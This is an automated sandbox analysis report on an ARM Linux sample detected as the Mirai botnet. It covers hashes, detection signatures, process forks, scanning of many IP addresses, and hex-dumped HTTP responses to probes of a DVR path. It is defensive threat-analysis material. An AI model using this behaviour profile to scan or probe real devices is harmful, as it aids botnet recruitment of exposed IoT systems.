Edit tour

Linux Analysis Report
7Ueun89KE3.elf

Overview

General Information

Sample Name:	7Ueun89KE3.elf
Original Sample Name:	151f3140977754a9befc0fab17a0cdcb.elf
Analysis ID:	1346746
MD5:	151f3140977754a9befc0fab17a0cdcb
SHA1:	f013eef283e3bd33d57d0464db9bfd6559887e8b
SHA256:	7d127378f0b4a5a2c3304d74493987da57d1ca7e289c63f4f7fb7c4808d8c3a3
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	68
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample contains only a LOAD segment without any section mappings

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

ELF contains segments with high entropy indicating compressed/encrypted content

HTTP GET or POST without a user agent

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1346746
Start date and time:	2023-11-23 05:14:07 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	7Ueun89KE3.elf renamed because original name is a hash value
Original Sample Name:	151f3140977754a9befc0fab17a0cdcb.elf
Detection:	MAL
Classification:	mal68.troj.evad.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/7Ueun89KE3.elf
PID:	5419
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Connected To CNC
Standard Error:

Process Tree

system is lnxubuntu20

7Ueun89KE3.elf (PID: 5419, Parent: 5346, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/7Ueun89KE3.elf

7Ueun89KE3.elf New Fork (PID: 5421, Parent: 5419)

7Ueun89KE3.elf New Fork (PID: 5541, Parent: 5421)

7Ueun89KE3.elf New Fork (PID: 5545, Parent: 5421)

7Ueun89KE3.elf New Fork (PID: 5550, Parent: 5545)

7Ueun89KE3.elf New Fork (PID: 5571, Parent: 5550)

7Ueun89KE3.elf New Fork (PID: 5573, Parent: 5550)

7Ueun89KE3.elf New Fork (PID: 5575, Parent: 5550)

7Ueun89KE3.elf New Fork (PID: 5576, Parent: 5550)

7Ueun89KE3.elf New Fork (PID: 5553, Parent: 5545)

7Ueun89KE3.elf New Fork (PID: 5556, Parent: 5545)

7Ueun89KE3.elf New Fork (PID: 5558, Parent: 5545)

7Ueun89KE3.elf New Fork (PID: 5559, Parent: 5545)

7Ueun89KE3.elf New Fork (PID: 5423, Parent: 5419)

7Ueun89KE3.elf New Fork (PID: 5425, Parent: 5419)

7Ueun89KE3.elf New Fork (PID: 5427, Parent: 5425)

7Ueun89KE3.elf New Fork (PID: 5540, Parent: 5427)

7Ueun89KE3.elf New Fork (PID: 5543, Parent: 5427)

7Ueun89KE3.elf New Fork (PID: 5547, Parent: 5427)

7Ueun89KE3.elf New Fork (PID: 5549, Parent: 5427)

7Ueun89KE3.elf New Fork (PID: 5428, Parent: 5425)

7Ueun89KE3.elf New Fork (PID: 5430, Parent: 5425)

7Ueun89KE3.elf New Fork (PID: 5433, Parent: 5425)

7Ueun89KE3.elf New Fork (PID: 5436, Parent: 5425)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 23 Nov 2023 04:15:18 GMTServer: Apache/2.4.29 (Ubuntu)Set-Cookie: PHPSESSID=31u84j15nqd7mvk52pq30vi1dn; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 1328Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 18 db 6e dc 44 f4 b9 f9 8a 89 1f 10 88 8c bd a9 5a a8 c2 ee 56 22 34 12 15 a5 51 08 20 9e aa b1 3d eb 9d 64 ec 71 67 c6 7b 41 3c 44 45 e2 85 4a 45 f0 00 6f fc 42 54 14 51 68 1b 7e c1 fb 47 9c 19 db 7b bf 65 d3 aa 91 12 db 67 ce 6d ce fd 64 ab be fd d9 c3 fd e3 ef 0e ef a1 b6 8e 79 73 ab 5e 3c e0 49 49 d8 dc 42 f0 53 8f a9 26 28 68 13 a9 a8 6e 38 5f 1f 1f e0 3b ce c4 91 48 34 4d e0 a8 cb 42 dd 6e 84 b4 c3 02 8a ed c7 0e 62 09 d3 8c 70 ac 02 c2 69 63 77 07 c5 a4 c7 e2 2c 1e 01 32 45 a5 fd 22 3e 00 12 e1 a0 84 c4 b4 e1 74 18 ed a6 42 ea 4a 96 66 9a d3 66 fe 4b fe 7c f0 24 bf 1c 9c e5 2f f2 bf f3 f3 c1 4f f9 8b c1 33 f4 03 ca 7f cb 5f e6 e7 f9 f3 fc f5 e0 e7 fc 02 e5 bf 5a 9c 4b c0 3d 47 fb 47 0f ea 5e 41 5f f0 da c6 18 1d 10 d0 53 24 18 97 30 ce 92 53 24 29 6f 38 06 ec a0 b6 a4 ad 86 d3 2a b0 5c f8 e3 20 dd 4f 41 31 16 93 88 7a 3d 6c d1 c0 56 37 6e 14 b4 05 81 97 f2 2c 62 89 f2 4e 1e 67 54 f6 b1 4a 59 92 50 e9 05 4a 79 be 10 5a 69 49 d2 0a ea c6 2c 71 e1 c4 29 04 2b dd e7 54 b5 29 d5 95 2c 4d 7b da 90 82 9c 49 31 6d ad 53 b5 e7 79 2d 30 be 72 23 21 22 4e 49 ca 94 1b 88 d8 10 dc 6d 91 98 f1 7e e3 48 f8 42 8b bd 5b b5 da ce c7 b5 da 7b 2a f3 8d 17 39 d1 2c d9 09 fa 92 71 ce 02 0c 42 de b0 06 c6 36 95 0a 0f 88 a6 12 62 e0 c3 cf 01 b8 c1 55 87 16 1d 9a 6f d2 98 9b 19 70 c8 35 11 21 44 2b e9 50 e5 d9 bf d7 64 47 12 88 0f 4d b1 51 b1 7c df 90 a3 e1 60 f1 af 41 1f 64 4a 8b f8 1a 0c 74 9b c6 60 19 c2 39 2e 5e 37 e4 e5 05 60 66 b7 c8 09 1b 21 19 f3 76 dd dd 9b ee 6e 25 c2 27 8a 56 49 93 b1 b5 c5 40 ad f2 8a 62 55 f7 45 d8 47 01 27 4a 35 1c 2e c0 1b 38 85 4c 45 96 3f e6 2c 6a 6b ec f3 8c 3a 63 45 e0 d0 20 7c 21 48 48 25 1a 56 82 90 75 2a 36 86 01 e6 f6 1c 77 21 d6 52 2a 4b f2 69 cc 02 69 ec 70 86 15 5c 66 1e ce 34 5e 59 1a 30 27 7d 50 2a e5 58 d2 70 0e c9 34 59 c0 64 c0 21 ec 38 33 4a 22 4e 5b 7a 01 d5 7c 4a a7 59 f7 00 b8 40 d0 92 a3 c5 3a 48 63 f2 b7 ae c4 1c f0 3c 50 da cc 7f 87 fe f0 d7 e0 6c f0 23 34 8e 7f f3 73 d7 75 eb 5e 3a e6 cd 11 55 f9 0a 41 3c e5 63 13 54 be e8 2d 8c 81 48 4c 47 00 29 33 e0 84 74 88 0a 24 4b f5 5e 47 b0 f0 fd da 07 9f c0 6d 59 1c 21 25 03 48 10 db 55 94 67 58 b8 69 12 19 4b 90 b9 ba cd 58 8e c8 e9 f8 18 3f 36 49 31 2f e2 5a 42 c6 88 85 10 6f 2c 4a 1e 31 68 78 d0 cc db 02 00 87 0f bf 3a 5e 23 e0 62 05 4a ce 6f c7 6b 86 0b 4b d2 4c e3 48 8a 2c 5d 16 25 2a 25 c9 1c 12 4c c2 d0 36 e0 45 84 96 98 0d d5 2d bb 90 6d db 50 39 20 40 95 48 ea 1e 5b 22 d9 33 a2 d7 8b 5f 63 4e a8 31 09 5d a9 90 b9 c1 58 1d 73 26 38 98 59 4a 0a 5e cd 40 36 e0 1c 28 02 24 a0 6d c1 a1 78 34 9c fc Data Ascii

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 114.94.64.5
Source: unknown	TCP traffic detected without corresponding DNS query: 162.141.211.5
Source: unknown	TCP traffic detected without corresponding DNS query: 93.199.244.148
Source: unknown	TCP traffic detected without corresponding DNS query: 53.249.28.4
Source: unknown	TCP traffic detected without corresponding DNS query: 252.238.114.160
Source: unknown	TCP traffic detected without corresponding DNS query: 242.181.113.0
Source: unknown	TCP traffic detected without corresponding DNS query: 106.39.193.213
Source: unknown	TCP traffic detected without corresponding DNS query: 192.50.96.130
Source: unknown	TCP traffic detected without corresponding DNS query: 122.197.72.37
Source: unknown	TCP traffic detected without corresponding DNS query: 179.242.135.188
Source: unknown	TCP traffic detected without corresponding DNS query: 59.107.90.4
Source: unknown	TCP traffic detected without corresponding DNS query: 42.226.221.113
Source: unknown	TCP traffic detected without corresponding DNS query: 98.160.247.69
Source: unknown	TCP traffic detected without corresponding DNS query: 203.241.90.77
Source: unknown	TCP traffic detected without corresponding DNS query: 146.224.234.63
Source: unknown	TCP traffic detected without corresponding DNS query: 186.164.105.226
Source: unknown	TCP traffic detected without corresponding DNS query: 147.114.99.192
Source: unknown	TCP traffic detected without corresponding DNS query: 172.69.45.154
Source: unknown	TCP traffic detected without corresponding DNS query: 251.55.15.178
Source: unknown	TCP traffic detected without corresponding DNS query: 207.62.104.84
Source: unknown	TCP traffic detected without corresponding DNS query: 168.34.97.135
Source: unknown	TCP traffic detected without corresponding DNS query: 245.119.133.202
Source: unknown	TCP traffic detected without corresponding DNS query: 106.179.194.201
Source: unknown	TCP traffic detected without corresponding DNS query: 193.181.25.130
Source: unknown	TCP traffic detected without corresponding DNS query: 192.216.76.220
Source: unknown	TCP traffic detected without corresponding DNS query: 193.62.227.226
Source: unknown	TCP traffic detected without corresponding DNS query: 190.156.36.103
Source: unknown	TCP traffic detected without corresponding DNS query: 95.75.251.164
Source: unknown	TCP traffic detected without corresponding DNS query: 113.199.4.118
Source: unknown	TCP traffic detected without corresponding DNS query: 168.128.35.75
Source: unknown	TCP traffic detected without corresponding DNS query: 86.0.51.238
Source: unknown	TCP traffic detected without corresponding DNS query: 120.113.107.197
Source: unknown	TCP traffic detected without corresponding DNS query: 187.204.148.225
Source: unknown	TCP traffic detected without corresponding DNS query: 9.89.253.171
Source: unknown	TCP traffic detected without corresponding DNS query: 24.255.105.201
Source: unknown	TCP traffic detected without corresponding DNS query: 9.155.9.15
Source: unknown	TCP traffic detected without corresponding DNS query: 2.128.9.145
Source: unknown	TCP traffic detected without corresponding DNS query: 86.252.180.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.131.96.98
Source: unknown	TCP traffic detected without corresponding DNS query: 75.118.133.27
Source: unknown	TCP traffic detected without corresponding DNS query: 36.227.243.200
Source: unknown	TCP traffic detected without corresponding DNS query: 161.145.208.118
Source: unknown	TCP traffic detected without corresponding DNS query: 170.202.109.214
Source: unknown	TCP traffic detected without corresponding DNS query: 185.182.239.222
Source: unknown	TCP traffic detected without corresponding DNS query: 124.20.34.96
Source: unknown	TCP traffic detected without corresponding DNS query: 119.242.12.236
Source: unknown	TCP traffic detected without corresponding DNS query: 106.59.248.81
Source: unknown	TCP traffic detected without corresponding DNS query: 122.88.54.80
Source: unknown	TCP traffic detected without corresponding DNS query: 172.76.178.15
Source: unknown	TCP traffic detected without corresponding DNS query: 39.182.21.17

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 05:13:13 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 207Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 68 6f 6d 65 2f 61 70 70 2f 77 65 62 73 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /home/app/webs/cgi-bin/ViewLog.asp</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 989Date: Thu, 23 Nov 2023 04:15:11 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 36 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 1095Date: Thu, 23 Nov 2023 04:15:17 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Thu, 23 Nov 2023 04:15:20 GMTServer: lighttpd/1.4.45Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: must-revalidate,no-cache,no-storeContent-Type: text/html;charset=iso-8859-1Content-Length: 382Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 3c 74 68 3e 55 52 49 3a 3c 2f 74 68 3e 3c 74 64 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 54 41 54 55 53 3a 3c 2f 74 68 3e 3c 74 64 3e 34 30 34 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 4d 45 53 53 41 47 45 3a 3c 2f 74 68 3e 3c 74 64 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 45 52 56 4c 45 54 3a 3c 2f 74 68 3e 3c 74 64 3e 64 65 66 61 75 6c 74 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/><title>Error 404 Not Found</title></head><body><h2>HTTP ERROR 404 Not Found</h2><table><tr><th>URI:</th><td>/cgi-bin/ViewLog.asp</td></tr><tr><th>STATUS:</th><td>404</td></tr><tr><th>MESSAGE:</th><td>Not Found</td></tr><tr><th>SERVLET:</th><td>default</td></tr></table></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: must-revalidate,no-cache,no-storeContent-Type: text/html;charset=iso-8859-1Content-Length: 382Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 74 61 62 6c 65 3e 0a 3c 74 72 3e 3c 74 68 3e 55 52 49 3a 3c 2f 74 68 3e 3c 74 64 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 54 41 54 55 53 3a 3c 2f 74 68 3e 3c 74 64 3e 34 30 34 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 4d 45 53 53 41 47 45 3a 3c 2f 74 68 3e 3c 74 64 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 74 72 3e 3c 74 68 3e 53 45 52 56 4c 45 54 3a 3c 2f 74 68 3e 3c 74 64 3e 64 65 66 61 75 6c 74 3c 2f 74 64 3e 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/><title>Error 404 Not Found</title></head><body><h2>HTTP ERROR 404 Not Found</h2><table><tr><th>URI:</th><td>/cgi-bin/ViewLog.asp</td></tr><tr><th>STATUS:</th><td>404</td></tr><tr><th>MESSAGE:</th><td>Not Found</td></tr><tr><th>SERVLET:</th><td>default</td></tr></table></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:15:38 GMTConnection: Close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: mini_httpd/1.30 26Oct2018Date: Thu, 23 Nov 2023 04:15:39 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sContent-Security-Policy: frame-ancestors 'none'Content-Security-Policy: frame-ancestors 'self'Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 